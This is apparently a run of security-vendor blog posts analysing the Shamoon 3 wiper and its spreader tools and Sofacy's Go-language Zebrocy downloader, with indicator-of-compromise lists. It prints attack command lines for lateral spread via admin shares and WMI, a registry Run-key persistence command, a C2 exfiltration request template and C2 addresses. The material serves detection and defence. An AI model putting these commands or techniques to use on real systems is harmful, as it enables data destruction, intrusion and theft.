8a1aab36c3940e4dd83f489432fa710fba582e254c3a52459c52826d6a822f2d
0db3fd1394b15b98f4e112102cdec6cc569062cdb199b66c5838c54cbc286277
be3817b9f14df3e0af82ae47b0904ac38d022e2b2d7bb7f8f9800b534b60183c
27aa9cdf60f1fbff84ede0d77bd49677ec346af050ffd90a43b8dcd528c9633b
42fdaffdbacfdf85945bd0e8bfaadb765dde622a0a7268f8aa70cd18c91a0e85
fb3def9c23ba81f85aae0f563f4156ba9453c2e928728283de4abdfb5b5f426f
a1ce72ec2f2fe6139eb6bb35b8a4fb40aca2d90bc19872d6517a6ebb66b6b139

AzoRult Samples

70900b5777ea48f4c635f78b597605e9bdbbee469b3052f1bd0088a1d18f85d3 
7337143e5fb7ecbdf1911e248d73c930a81100206e8813ad3a90d4dd69ee53c7
748c94bfdb94b322c876114fcf55a6043f1cd612766e8af1635218a747f45fb9

Marcher Samples

55ae2b00234674d82dcc401a0daa97e7b3921057a07970347815d9c50dddbda8 
75edaae605622e056a40c2d8a16b86654d7ddc772f12c4fc64292a32a96fde7a
254925e47fbfff4786eada6cbcb0805ed79d9bd417955c016236143eb2ecd827

Infrastructures

http://jma-go[.]jp/js/metrology/jma.php
http://www.jma-go[.]jp/java/java9356/index.php
http://jma-go[.]jp/jma/tsunami/tsunami_regions.scr
http://thunderbolt-price[.]com/Art-and-Jakes/Coupon.scr
http://bite-me.wz[.]cz/1.exe
https://racemodel[.]at
https://mountainhigh[.]at
https://sungmap[.]at

 

Appendix

.bits domain support

Smoke Loader supports .bit Top Level Domains (TLD). Author of the threat includes the following hard-coded DNS servers to resolve .bit domains. Though we haven’t seen any .bit domain in Tsunami campaign, we listed the IP addresses just in case for another attack by the threat.

192.71.245[.]208
58.251.121[.]110
101.226.79[.]205
188.165.200[.]156
185.121.177[.]177
185.121.177[.]53
144.76.133[.]38
169.239.202[.]202
5.135.183[.]146
193.183.98[.]66
51.254.25[.]115
51.255.48[.]78

Shamoon 3: Modified Open-Source Wiper Contains Verse from the Quran

Posted on by Robert Falcone

Unit 42 has continued researching the Shamoon 3 attacks that impacted an oil and gas organization earlier this month. During our continued research, we identified another wiper Trojan potentially related to the incident that involved the infamous Disttrack Trojan. The potentially related wiper is a modified variant of the open-source SuperDelete tool whose source code is readily available on Github. We have evidence that this wiper was on the same system that was running the Disttrack executables and had a kernel driver saved to “C:\Windows\hdv_725x.sys”, which was the location where the Disttrack wiper saved the ElDos RawDisk driver in order to wipe files on the system.

The developer of this wiper used SuperDelete’s source code and modified it to create a new variant. The resulting variant is a wiper Trojan written in C# that contains no additional functionality outside of deleting files on the system, so unlike prior Disttrack samples, it is unable to spread to other systems on the network. Unlike the Disttrack wiper, the SuperDelete variant does not rely on a kernel driver to wipe files on the system. Instead, the SuperDelete wiper overwrites user files with random data before deleting them, which makes recovery of the files difficult without available backups. The most interesting part of the SuperDelete variant is that the developer intentionally added a religiously-charged message from a verse in the Quran, which it does not display prior to wiping the system and would only be discovered by individuals performing a thorough analysis of the tool.

Through continued analysis of the wiper based on the SuperDelete source code, we discovered two executables that we believe the actors used to execute the wiper on multiple systems by propagating the wiper from a single system on the compromised network to other hosts. We refer to the two supporting executables as a Loader Trojan and the Spreader Trojan, which would likely be loaded on one compromised system on the network and used as a centralized point to distribute the wiper to remote systems. A similar centralized distribution approach was also used in the Shamoon 2 attacks and discussed in our analysis on how actors distributed Disttrack.

 

Loader Trojan

The Loader Trojan (SHA256:d9e5266371...) is a very simple tool that loads a list of text files containing hostnames that the actor wants to propagate to. These text files contain a list of hostnames and their respective Windows version that the actor must have created based on prior reconnaissance activities. The Loader Trojan will execute an associated Spreader Trojan for each text file.

The loader Trojan sample creates a list of text files from two different folders named "shutter" and "light" by searching for "*.txt" within these two folders. Based on the code, the Loader Trojan will load a maximum of 6 text files from both of these folders for a total of 12 files. It then enters a loop creating a new spreader process using each text file as an argument, as seen in the code in Figure 1. The loop creates these new processes using the Start function in the Process class using the command line cmd.exe /c spreader.exe [text file from shutter and light folders].

 

Figure 1 Loop within Loader Trojan that creates a Spreader for each text file

 

By analyzing how the spreader.exe executable uses the text file provided as an argument, we believe each text file that the Loader Trojan supplies to each created spreader process would be a new-line delimited file in which each line is structured as follows:

[hostname],[windows version]

 

Spreader Trojan

The spreader.exe executable (SHA256:35ceb84403...) is the Spreader Trojan that reads each line of the provided text file and splits the string on the comma (",") and uses this as a list of other systems on the network it will attempt to spread to. The spreader does not contain any usernames and password combinations that it would use to gain access to the remote systems, instead it relies on the privileges of the account that ran the Spreader Trojan. This suggests the actor ran the Loader Trojan, and therefore the Spreader Trojan with an account with elevated privileges high enough to copy and execute files to other systems on the network.

When attempting to spread to other hosts listed in the text file, the spreader acts differently based on the contents of the string to the right of the comma that denotes the Windows version of the remote system. First, the spreader checks to see if the Windows version string contains the following:

  • 7
  • 2008
  • XP
  • 2003
  • 2000
  • VISTA

 

If any of these strings are present, the spreader gets a list of executable files (*.exe) within a local folder named net2, which will contain only one executable that the spreader will attempts to copy  to the remote host. To carry out this file copy, the spreader first creates a folder on the remote system with a path of C:\Program Files\Internet Explorer\signin by creating a process using the mkdir command, as seen in Figure 2.

Figure 2 Function in Spreader Trojan that creates folder on remote host

 

It then copies the executable from the net2 folder to the host by creating a process with the following command line:

cmd.exe /c copy  net2\[executable from 'net2' folder] \\[hostname]\"C$\Program Files\Internet Explorer\signin\[filename of executable from 'net2' folder]"

After copying the executable over to the remote system, the spreader creates a file on the remote system by opening a file using the following path:

\\[hostname]\admin$\process.bat

The spreader will write the following to the process.bat file:

"C:\Program Files\Internet Explorer\signin\"[filename of executable from 'net2' folder]

The spreader then uses WMI to connect to the remote system and will use the Win32_Process class to run the process.bat script on the remote system, which effectively executes the application from the net2 folder that the spreader copied over to the system.

If the operating system version in the text file is blank for the hostname, the spreader carries out its activities in a slightly different manner. The spreader will create the directory Program Files\Internet Explorer\signin on the remote system as mentioned before, obtain all of the file names in a folder named all and copies the first and second file in the folder to the remote host. We believe the first file copied is a batch script and the second file as an executable, which are copied over by running the following command line:

cmd.exe /c copy  all\[first file (possible batch file) from 'all' folder] \\[hostname]\"C$\Program Files\Internet Explorer\signin\[filename of first file from 'all' folder]"

cmd.exe /c copy  all\[second file (executable) from 'all' folder] \\[hostname]\"C$\Program Files\Internet Explorer\signin\[filename of second file from 'all' folder]"

The spreader would then run the copied executable using WMI in the same way as previously mentioned. We are unsure of the purpose of the first file copied over to the remote host, as it does not appear to be executed by the spreader on the remote host.

If the hostname doesn't have an empty version name and it does not match the Windows versions listed above, the spreader behaves slightly differently. In this case, the spreader would also create the Program Files\Internet Explorer\signin folder on the remote host, obtain an executable from a folder named net4 and copy this executable over to the remote host via the following command line:

cmd.exe /c copy  net4\[executable from 'net4' folder] \\[hostname]\"C$\Program Files\Internet Explorer\signin\[filename of executable from 'net4' folder]"

The spreader will use the same technique as mentioned before using WMI to execute the copied executable on the remote system.

 

Wiper: SuperDelete Variant

Unfortunately, we do not have access to any forensic images of systems that executed the Loader and Spreader Trojans, or a system in which these Trojans spread to. Fortunately, we have evidence of a previously unknown wiper Trojan with a file name of ‘SlHost.exe’ that was installed on a system that was also infected with Disttrack (SHA256:c3ab58b315...). This unknown wiper was saved to be executed from the following location, which is the same folder location that the Spreader Trojan would create on remote systems and copy files to:

C:\Program Files\Internet Explorer\signin\SlHost.exe

The SlHost.exe file is a wiper Trojan written in C# whose developer used the freely available SuperDelete source code as a base and modified it. The resulting wiper Trojan has many lines of code that it never uses, as they are merely unused artifacts of the SuperDelete tool’s code base. For example, the wiper contains code to parse the following command-line arguments that was in the SuperDelete source code, but the wiper never actually uses these arguments:

  • -s
  • --silentMode
  • --bypassAcl
  • --printStackTrace

The developer’s most interesting modification to the SuperDelete source code is the inclusion of ASCII art that it attempts to write to the console via the standard output. The wiper compares each line of the ASCII art seen in Figure 3 to the string “text”, and if it matches it would print the line to standard output. However, none of the lines in the ASCII art are equal to the string “text”, therefore, the ASCII art would never be displayed.

Figure 3 ASCII art in SlHost wiper Trojan

 

The ASCII art seen in Figure 3 is very interesting as it contains an Arabic phrase that is from the Quran, specifically the Surat Al Masad that translates to:

Perish the two hands of Abu Lahab "father of flames" (an uncle of prophet peace be upon him) and Perish he!

The developer of this wiper intentionally added this ASCII art to the wiper Trojan as a message. The actors involved in past Shamoon attacks have used politically charged images to overwrite the MBR, partition tables and files on the disk. As mentioned in our previous publication, the Disttrack wiper used in Shamoon 3 overwrote files using randomly generated data and not a politically charged image, as mentioned in our publications describing the Shamoon 2 attacks. The fact that the ASCII art is never written to the standard output suggests that the developer only intended this message to be discovered by individuals performing code analysis on the Trojan.

 

File Wiping

After building the ASCII art, the wiper enumerates all the fixed storage devices attached to the system. Figure 4 shows the wiper obtaining all fixed hard drives and creating a list of drive names that it will use to enumerate the files and folders stored on each device.

Figure 4 getallDrives function used to enumerate attached hard drives

 

After enumerating the storage devices, the wiper will then attempt to delete all files and folders on each storage volume. Once it deletes all the files, it then attempts to delete the root path for the storage volume (for instance the “C:\”) specifically, as seen in Figure 4.

Figure 5 Code in the main function that deletes each folder on the system before deleting the %SYSTEM% folder

 

To delete the files and folders on the system, the wiper first attempts to obtain certain privileges, specifically:

  • SeBackupPrivilege
  • SeRestorePrivilege
  • SeTakeOwnershipPrivilege
  • SeSecurityPrivilege

To carry out the wiping process, the wiper will call a function to recursively delete a folder and its contents. When enumerating the contents of each folder, the wiper will create an array of folder names that it will iterate through and call the same folder delete function, hence the recursive nature of the function.

The wiper will also attempt to delete all the files in each folder, specifically deleting user and system files in different ways. To delete system files, the wiper uses the NtSetInformationFile API function to set the FILE_DISPOSITION_DELETE field within the FILE_DISPOSITION_INFORMATION structure to true, which marks the file for deletion.

To delete user files, the wiper will first check to see if the file is set to read-only and if it is attempts to remove the read-only attribute by calling the SetFileAttributesW API function so the wiper can successfully delete it. The wiper then checks the file to see if the file exists in the “Users” folder and will timestamp the creation, last write and last access timestamps to:

1/1/3000 12:01:01

After timestamping each file, the wiper attempts to securely delete the file by entering two loops that writes random data to the file on byte at a time. These two loops effectively overwrite the data in the file twice, which makes recovering the data very difficult. The wiper then moves the overwritten file to a temporary filename in the same folder and deletes it.

The wiper will write detailed logs to the console via the standard output as it deletes files and folders on the system. Each of the log entry has a format of \rDeleting {0}\t\t\t\t, with the ‘{0}’ replaced with the deleted file or folder name whose path is shortened to 60 characters with “\...\” added in the middle. For example, we observed the following log entry written to the console during execution of the wiper:

Deleting C:\Program Files\Com\...\ware\Drivers\vss\VCBSnapshotProvider.dll

When the wiper finishes deleting all the files and folders on the system, it creates one final log entry that it writes to the console via the standard output. The log entry contains statistics on the wiper’s activities, which is formatted as follows with the number of files deleted replacing ‘{0}’, the number of folders deleted replacing ‘{1}’ and the amount of time elapsed during the wiping activities replacing ‘{2}’:

\rDone. Deleted {0} files and {1} folders in {2}.\t\t\t\t

 

Conclusion

While the recent Shamoon attacks have mostly discussed the reemergence of the infamous Disttrack tool used in previous Shamoon attacks, it appears that the threat actors have also used a second wiper Trojan to destroy data on systems on targeted networks. It also appears that the threat actors have used a similar approach to distribute the wiper Trojan from a centralized location on the compromised network using a list of hostnames to copy the wiper Trojan to other systems on the network.

The wiper related to the Shamoon 3 attacks is based on the SuperDelete source code. The wiper is only capable of overwriting the contents and deleting files and folders, as the wiper relies on the Loader and Spreader Trojans for execution. The religiously charged message within the wiper Trojan is interesting, as it acts as a message that may point to the adversary’s motivations. We have potentially tied the use of this wiper to the Shamoon 3 incident involving the Disttrack wiper, which in the past has used politically charged images to overwrite files in Shamoon and Shamoon 2 attacks. This also suggests that the adversaries involved in the Shamoon attacks have additional wipers in their toolset to complement the Disttrack Trojan.

Palo Alto Networks customers are protected from the SuperDelete wiper variant:

  • WildFire detects all known wipers using the SuperDelete source code with malicious verdicts
  • AutoFocus customers can track wipers using the SuperDelete source code via the ShamoonSecureDelete tag

 

Indicators of Compromise

Loader Trojan Hash

d9e52663715902e9ec51a7dd2fea5241c9714976e9541c02df66d1a42a3a7d2a

 

Spreader Trojan Hash

35ceb84403efa728950d2cc8acb571c61d3a90decaf8b1f2979eaf13811c146b

 

Known SuperDelete-based Wiper Hashes

5203628a89e0a7d9f27757b347118250f5aa6d0685d156e375b6945c8c05eb8a

0266be9130bdf20976fc5490f9191edaafdae09ebe45e74cd97792412454bf0d

e5bf756d5530ec38ff649b901b3c7506f8556821d979bdcb392237f2ff40daf8

5257f623270b4c5cc471ff35b1bfeec80ab37c7e012da76b50ebd2c4911a43d0

 

Related Disttrack Hashes

c3ab58b3154e5f5101ba74fccfd27a9ab445e41262cdf47e8cc3be7416a5904f

0694bdf9f08e4f4a09d13b7b5a68c0148ceb3fcc79442f4db2aa19dd23681afe

391e7b90bf3f0bfeb2c2602cc65aa6be4dd1c01374b89c4a48425f2d22fe231c

Threat Intelligence Has Never Looked Better – Announcing the Unit 42 Research Portal

Posted on by Ryan Olson

We’re proud to announce the launch of our new threat intelligence portal, a dedicated place for Unit 42 research and discoveries. We designed this space to give the security community a new way to engage with so much of our important threat intelligence content. Here’s what you can expect to see:

 

Improved Navigation

Our streamlined navigation should help you better find the threat content that is most relevant to you. Our improved categories should enable you to quickly choose between reports, threat briefs, multimedia, and popular content.

 

Improved Search

We’ve improved our search and simplified the sorting to help make it easier to discover new research. Our in-site search returns research more effectively than external search engines by focusing just on Unit 42 research content. Visitors can preview research right from the search results page and filter content by author and topic.

 

Adversary Playbooks

Adversary playbooks are an important part of our work and it’s integrated into our new site for easier access. Our Adversary Playbooks capture and organize the complete collection of tools, techniques, and procedures that specific adversaries use to achieve their goals. Read more about playbooks here or watch a this video here.

 

Open Source Tools

View some of the malware reversing and decryption tools we use to investigate how malicious programs work and what they’re engineered to do. Because we believe all threat intelligence should be shared freely, we’ve made these tools publicly available on GitHub.

 

Let us know what you think about the new portal in the comments section or share your thoughts on Twitter @Unit42_Intel.

Sofacy Creates New ‘Go’ Variant of Zebrocy Tool

Posted on by Robert Falcone

The Sofacy threat group continues to carry out attacks using their Zebrocy tool. We first wrote about the Zebrocy tool in a blog that discussed Sofacy’s parallel attack campaigns during the first quarter of 2018, and more recently during Sofacy attacks in late October and early November. The developers of Zebrocy have once again created a new version the Trojan using a different programming language, specifically the Go language. The use of a different programming language to create a functionally similar Trojan is not new to this group, as past Zebrocy variants have been developed in AutoIt, Delphi, VB.NET, C# and Visual C++. While we cannot be certain the impetus for this, we believe the threat group uses multiple languages to create their Trojans to make them differ structurally and visually to make detection more difficult.

 

 

We have seen two separate attacks deliver the Go variant of Zebrocy. The first attack occurred on October 11 and relied on a spear-phishing email with an LNK shortcut attachment. The LNK shortcut is meant to run a series of PowerShell scripts to extract a payload from the shortcut to install and execute; however, the PowerShell scripts were coded incorrectly and could not install or run the payload as delivered. Therefore, the first observed attack mentioned in this blog could not be successful, but the tactics, techniques and indicators are worth discussing for situational awareness. More recently, we have seen Sofacy delivering the Go variant of Zebrocy using a document related to the Dear Joohn attack campaign that occurred in mid-October through mid-November.

 

The First Attack

The attack occurred on October 11, 2018 and involved a spear-phishing email (T1193) discussing the effects of US sanctions on the Russian economy. The “From” address and the signature included the name of an individual at the targeted organization. The “To” field in the delivery email was blank, which makes us believe that the targeted individuals were included in the “Bcc” field of this email. Figure 1 shows the delivery email used in this attack.

 

Figure 1 Delivery email used in Go Zebrocy attack

 

 

The Payload

The delivery document Противодействие Думы Санкциям США.doc (SHA256:d77eb89501b0a60322bc69692007b9b7f1b5a85541a2aaf21caf7baf0fe0049e) attempts to masquerade as a Word document, however, the file is a shortcut LNK. When opened (T1204), the LNK file attempts to run the following command line in a visible command prompt (T1059):

 

The shortcut uses PowerShell (T1086) to base64 decode (T1140) a second PowerShell script and executes it. The second PowerShell script decodes to the following:

 

The PowerShell script above attempts to extract another PowerShell script directly from the LNK shortcut file, which it would then execute. For unknown reasons, the actor that created this LNK shortcut included the incorrect filename for the LNK file, specifically C5 regional conference and training workshop on community policing(1).docx.lnk instead of the delivery document Противодействие Думы Санкциям США.doc.  The LNK shortcut filename does not match the filename delivered in the email, so this attack would never be successful as the PowerShell script above would be unable to obtain the payload to install on the system. The C5 regional conference and training workshop on community policing(1).docx.lnk filename included in this LNK file may be an artifact from a previous attack using the same delivery LNK and payload.

Had the attackers included the correct filename to the LNK delivery in the script above, it would have located the PowerShell script in the LNK file by using a hardcoded offset of "3659", which it would have used to seek 3659 bytes into the LNK file. The script would then read a hardcoded number of bytes, specifically 6,924,764 bytes from this offset and executes it. The resulting PowerShell script obtained from within the LNK file has the following contents, of which we have trimmed some of the encoded data and replaced it with "[..snip..]" for brevity:

 

This final PowerShell script is responsible for decoding an executable and Word document that it will write to the system in the %PUBLIC% folder with names C5 regional conference and training workshop on community policing(1).exe and C5 regional conference and training workshop on community policing(1).docx, respectively. The decoded content written to the Word document contains the decoy content seen in Figure 2 (SHA256:b6b2f6aae80cba3fa142bd216decc1f6db024a5ab46d9c21cf6e4c1ab0bbe58b), which in this specific case is an agenda for a conference that occurred between June 18 and 20, 2018 in Dushanbe, Tajikistan sponsored by Saferworld and the United States Institute of Peace.

 

Figure 2 Decoy document opened during installation of Go Zebrocy

 

 

The decoded executable is the payload (SHA256: fcf03bf5ef4babce577dd13483391344e957fd2c855624c9f0573880b8cba62e) whose developer wrote in the Go Language, which appears to be a variant of the Zebrocy Trojan that we have previously analyzed. The use of another language to develop a similar Trojan in functionality to Zebrocy is fitting for this threat group, as we have previously seen this group create variants of Zebrocy in AutoIt, Delphi and C++. The similarities between this payload and previous Zebrocy variants include general high-level capabilities as well as some more specific overlaps. Like other Zebrocy samples, this Zebrocy variant written in Go does initial collection on the compromised system (T1119), exfiltrates this information to the C2 server and attempts to download, install and execute a payload from the C2. The Go variant also has some more specific overlaps in its functionality, including:

 

  • The use of ASCII hexadecimal obfuscation of strings
  • The use of the volume serial number without a hyphen obtained from the VOL command
  • The use of the output from "systeminfo" and "tasklist" in the outbound C2 beacon
  • The use of the string "PrgStart" within the C2 beacon

 

The most important overlap between the Go variant of Zebrocy and other variants is a shared C2 URL, specifically hxxp://89.37.226[.]148/technet-support/library/online-service-description.php?id_name= that was also used by Zebrocy samples de31a8a9110b32a82843e9216a3378cc1c5ea972a6bb2261ec111efb82f31e71 and daf990f0b6564c3ac87fa87e325e6ffc907ed43ae65a3f088a42b5b120612593, which were both written in Delphi.

The Go variant of Zebrocy attempts to evade automated analysis by checking the executable filename of its process for the “)” character. If the filename does not contain a “)” character, the Trojan immediately exits without executing its functional code. The Trojan looks for this character specifically, because it expects to run as a file named C5 regional conference and training workshop on community policing(1).exe.

This Zebrocy variant uses HTTP POST requests to interact with its C2 server (T1071), which contains system specific information in the POST data section. The system specific information includes

  • Running processes via “tasklist” command (T1057).
  • System information via the ”systeminfo” command (T1082).
  • Local disk information (T1120) via WMI by running the command “wmic logicaldisk get caption,description,drivetype,providername,size” (T1047).
  • A screenshot of the desktop (T1113) that the GoZebrocy tool takes using an open source Go library.

The C2 communications between the Trojan and its C2 has the following structure:

 

POST /technet-support/library/online-service-description.php?id_name=[serial number from VOL command with hyphen removed] HTTP/1.1

Host: 89.37.226[.]148

User-Agent: Go-http-client/1.1

Content-Length: 570690

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip

 

attach=PrgStart%3A[path to running Trojan]%0D%0A%5B[current time]%5D%0D%0A%0D%0A[results from wmic logicaldisk get caption,description,drivetype,providername,size]%0D%0D%0A%0D%0D%0A%0D%0A%0D%0A[results systeminfo command]%0D%0A%0D%0A%0D%0A[results tasklist command]%0D%0A&support=[screenshot of system represented as ascii hexadecimal bytes]

 

The C2 server will respond to this HTTP POST request with ascii hexadecimal bytes that the payload will decode and save to the following file (T1105):

 

%APPDATA%\Identities\{83AF1378-986F-1673-091A-02681FA62C3B}\w32srv.exe

 

The payload will then execute this newly created file using the Golang "os/exec" module, specifically using the "Command" and "Run" functions in the "os/exec" module to run the following command line:

 

cmd /C %APPDATA%\Identities\{83AF1378-986F-1673-091A-02681FA62C3B}\w32srv.exe

 

Dear Joohn Related Delivery

The second attack we observed delivering the Zebrocy variant written in the Go language is related to the Dear Joohn attacks that we have previously published. While the Dear Joohn campaign occurred in mid-October to mid-November 2018, the delivery document (SHA256: 346e5dc097b8653842b5b4acfad21e223b7fca976fb82b8c10d9fa4f3747dfa0) that ultimately installed the Go Zebrocy sample was created on December 3, 2018. This delivery document had an author name of Joohn, which is how we clustered the Dear Joohn delivery documents for that campaign.

Like the Dear Joohn attacks, the delivery document downloads a remote template (SHA256: 07646dc0a8c8946bb78be9b96147d4327705c1a3c3bd3fbcedab32c43d914305) via HTTP (T1071) that has an author and last saved by xxx. Upon opening the delivery document, the lure image seen in Figure 3 attempts to trick the recipient into enabling content (T1204) to run the macro within the downloaded remote template.

 

Figure 3 Lure image attempting to trick user into clicking the Enabling Content button

 

The delivery document is configured to obtain a remote template from hxxps://bit[.]ly/2G8QrgL (T1102), as seen in the following from the document’s word/_rels/settings.xml.rels file:

 

The hxxps://bit[.]ly/2G8QrgL shortened link redirects to the remote template hosted at a URL of hxxp://89.37.226[.]123/Templates/NormalOld.dotm. Previous Dear Joohn delivery documents did not use a shortened link to obtain its remote template, which suggests a shift in techniques used in this campaign. Fortunately for us, the shortened link provides some statistics on how many visitors accessed the link and their country of origin. When accessed on December 5, 2018, Figure 4 shows the statistics for the shortened link, showing the link was created on December 3, 2018 at 12:56 PM, which was visited 75 times from mostly from Turkey.

 

Figure 4 Statistics on visitors to the shortened link used to point to remote template (Accessed December 5, 2018)

 

The remote template downloaded via this shortened link contains a macro similar to other Dear Joohn samples. The macro differs as it extracts a ZIP from the remote template file (SHA256: c817aab6e8dcaeaeae817a85ba209c0ca690be58b91e6cff0e3f0660336f9506) and saves it to a file named driver_pack.zip. The archive contains an executable named driver_pack.exe (SHA256: b48b3d46ebfa6af8a25c007f77e6ed3c32fe4c6478311b8b0c7d6f4f8c82de76), which is a WinRAR SFX executable archive that contains another executable named comsvc.exe. The WinRAR SFX archive extracts the comsvc.exe payload using the following SFX script:

 

Path=%APPDATA%\AppHistory

Setup=comsvc.exe

Silent=1

Overwrite=2

 

The comsvc.exe executable (SHA256: 93680d34d798a22c618c96dec724517829ec3aad71215213a2dcb1eb190ff9fa) is a UPX packed variant of the Go Zebrocy malware (SHA256: 15a866c3c18046022a810aa97eaf2e20f942b8293b9cb6b4d5fb7746242c25b7), which is a downloader responsible for obtaining and executing secondary payloads from a C2 server.

Like other Zebrocy variants, this Go Zebrocy malware checks the path of the running process to make sure it contains comsvc, as it would if executed by the delivery document that would eventually save the payload to comsvc.exe. If the Go Zebrocy sample was not run as comsvc.exe, it will send an HTTP POST request to google[.]com unlike other Zebrocy variants that will just exit, which we believe this is an attempt to further evade heuristic detection. Figure 5 shows the HTTP request sent to google[.]com.

 

Figure 5 HTTP POST to google.com in the event Go Zebrocy executes with incorrect filename

 

The data sent in the HTTP POST request in Figure 5 decodes to <#0>0<##0><#1>1<##1><#2>1<##2>, which does not necessarily have any purpose other than filling the same HTTP POST data delimiters that Go Zebrocy will use when communicating with the C2. In the event that the sample was run as comsvc.exe, the Trojan will reach out to the following URL to communicate with its C2 server:

 

hxxp://89.37.226[.]123/advance/portable_version/service.php

 

The Go Zebrocy tool will get the volume serial number, take a screenshot of the system (T1113) and gather system specific information using a legitimate library called psutil that is available on Github. The Trojan will call the Host Info function from the psutil library that will effectively gather platform information (operating system, version etc.), the time the system was booted, the system uptime, the system’s GUID, and process IDs for running processes (T1057). The Zebrocy variant will send an HTTP POST request (T1071) to the above URL with post data structured as follows:

 

project=%3C%230%3E4D291F48%3C%23%230%3E%3C%231%3E[serial number of storage volume]%3C%23%230%3E%3C%231%3E[gathered system information]%3C%23%231%3E%3C%232%3E[screenshot in JPEG format]%3C%23%232%3E

 

The hexadecimal characters in the HTTP POST data are used as delimiters, which represent the following:

 

<#0>[serial number of storage volume]<##0><#1>[gathered system information]<##1><#2>[screenshot in JPEG format]<##2>

 

The C2 will respond to the above request with a hexadecimal encoded payload that the Trojan will save to the system and execute. The Trojan writes the secondary payload to the following file:

 

%LOCALAPPDATA%\Microsoft\Feeds\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\wcncsvc.exe

 

Before executing the dropped file, the Trojan will create an auto run registry key (T1060) to have the secondary payload run each time the user logs in using the following command line (T1059):

 

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Media Center Extender Service

 

During our analysis, the secondary payload downloaded from the C2 is another Trojan written in Go language (SHA256: 50d610226aa646dd643fab350b48219626918305aaa86f9dbd356c78a19204cc), which the actors packed with UPX (SHA256: ee9218a451c455fbca45460c0a27e1881833bd2a05325ed60f30bd4d14bb2fdc) (T1045). This secondary payload is another downloader that uses HTTPS instead of HTTP for its C2 communications. This secondary payload communicates with the following URL as its C2:

 

hxxps://190.97.167[.]186/pkg/image/do.php

 

The HTTP POST request sent via HTTPS will look as follows, specifically including the first four bytes of the volume serial number and the first four characters of the hostname within the post data in a field labeled "l" as seen in Figure 6.

 

Figure 6 HTTP beacon sent by the secondary payload within its HTTPS C2 channel

 

Conclusion

The Sofacy group continues to use variants of the Zebrocy payload in its attack campaigns. Developers of Zebrocy continue to create new variants of the Trojan using different coding languages, which in this particular case used the Go language. The adversaries made some drastic errors to the delivery LNK shortcut, which made this attack seemingly ineffective. Regardless of the attack’s effectiveness, the techniques and indicators we observed still provide analytical points for correlation and should be included in an organizations security defenses as the group may use the payload and infrastructure in future attacks. It is also apparent that the Sofacy group will use these new variants of Zebrocy across multiple different campaigns, as the Go variant of Zebrocy was delivered via the LNK shortcut and a Dear Joohn delivery document.

Palo Alto customers can protect themselves against this threat by:

 

Indicators of Compromise

 

Zebrocy Go variant

fcf03bf5ef4babce577dd13483391344e957fd2c855624c9f0573880b8cba62e

93680d34d798a22c618c96dec724517829ec3aad71215213a2dcb1eb190ff9fa

 

Zebrocy Go C2

hxxp://89.37.226[.]148/technet-support/library/online-service-description.php

89.37.226[.]148

hxxp://89.37.226[.]123/advance/portable_version/service.php

89.37.226[.]123

 

Related Zebrocy Samples

de31a8a9110b32a82843e9216a3378cc1c5ea972a6bb2261ec111efb82f31e71

daf990f0b6564c3ac87fa87e325e6ffc907ed43ae65a3f088a42b5b120612593

308b41db9e3b332bb5b3e5ec633907761eac5082029b8b32e6b063b8c76b7365

f93b89a707c647ba492efe4515bb69a627ce14f35926ee4147e13d2e030ab55b

1ff4e56419ad1814726ca143fc256cca4c8588605536c48dd79cfed12cb0763a

 

Dear Joohn Related Hashes

346e5dc097b8653842b5b4acfad21e223b7fca976fb82b8c10d9fa4f3747dfa0 - Delivery Document

07646dc0a8c8946bb78be9b96147d4327705c1a3c3bd3fbcedab32c43d914305 - Remote Template

c817aab6e8dcaeaeae817a85ba209c0ca690be58b91e6cff0e3f0660336f9506 - ZIP in Remote Template

b48b3d46ebfa6af8a25c007f77e6ed3c32fe4c6478311b8b0c7d6f4f8c82de76 - WinRAR SFX in ZIP

93680d34d798a22c618c96dec724517829ec3aad71215213a2dcb1eb190ff9fa - Go Zebrocy sample

50d610226aa646dd643fab350b48219626918305aaa86f9dbd356c78a19204cc - Secondary payload

 

Dear Joohn Related URLs

hxxps://bit[.]ly/2G8QrgL - Remote Template Shortened Link

hxxp://89.37.226[.]123/Templates/NormalOld.dotm - Remote Template URL

hxxp://89.37.226[.]123/advance/portable_version/service.php - Go Zebrocy HTTP C2

hxxps://190.97.167[.]186/pkg/image/do.php - Secondary payload HTTPS C2

 

Secondary Payload Hash

50d610226aa646dd643fab350b48219626918305aaa86f9dbd356c78a19204cc

 

Secondary Payload C2

hxxps://190.97.167[.]186/pkg/image/do.php

190.97.167[.]186

 

ATT&CK Techniques Observed

ID Technique
T1193 Spearphishing Attachment
T1059 Command-Line Interface
T1086 PowerShell
T1140 Deobfuscate/Decode Files or Information
T1119 Automated Collection
T1071 Standard Application Layer Protocol
T1057 Process Discovery
T1082 System Information Discovery
T1120 Peripheral Device Discovery
T1047 Windows Management Instrumentation
T1113 Screen Capture
T1105 Remote File Copy
T1102 Web Service
T1204 User Execution
T1060 Registry Run Keys / Startup Folder
T1045 Software Packing

 

Shamoon 3 Targets Oil and Gas Organization

Posted on by Robert Falcone

Summary

On December 10,  a new variant of the Disttrack malware was submitted to VirusTotal (SHA256:c3ab58b3154e5f5101ba74fccfd27a9ab445e41262cdf47e8cc3be7416a5904f) that shares a considerable amount of code with the Disttrack malware used in the Shamoon 2 attacks in 2016 and 2017 that we previously published here, here, and here. While we could not identify the impacted organization from the malware, today Saipem disclosed they were attacked. In previous attacks, we were able to determine the impacted organization based on the domain names and credentials used by the Disttrack tool to spread to other systems on the network. However, that functionality was missing from this sample. Unlike past Shamoon attacks, this particular Disttrack wiper would not overwrite files with an image. Instead it would overwrite the MBR, partitions, and files on the system with randomly generated data.

According to a press release,  Saipem confirmed that they experienced a cyberattack that involved a variant of the Shamoon malware. The attack caused infrastructure and data availability issues, forcing the organization to carry out restoration activities. Saipem told Reuters that 300 systems on their network were crippled by the malware related to the 2012 Shamoon attacks. While we cannot definitively confirm that Saipem was the impacted organization, the timing of this incident with the emergence of the Disttrack sample discussed in this blog is quite coincidental.

 

Dropper

The sample submitted to VirusTotal is a Disttrack dropper, which is responsible for installing a communications and wiper module to the system. The dropper is also responsible for spreading to other systems on the same local network, which it accomplishes by attempting to log into other systems on the network remotely using previously stolen usernames and passwords. Unfortunately, this particular sample does not contain any domains, usernames, or passwords to perform this spreading functionality, so this sample would only run on the system in which it was specifically executed.

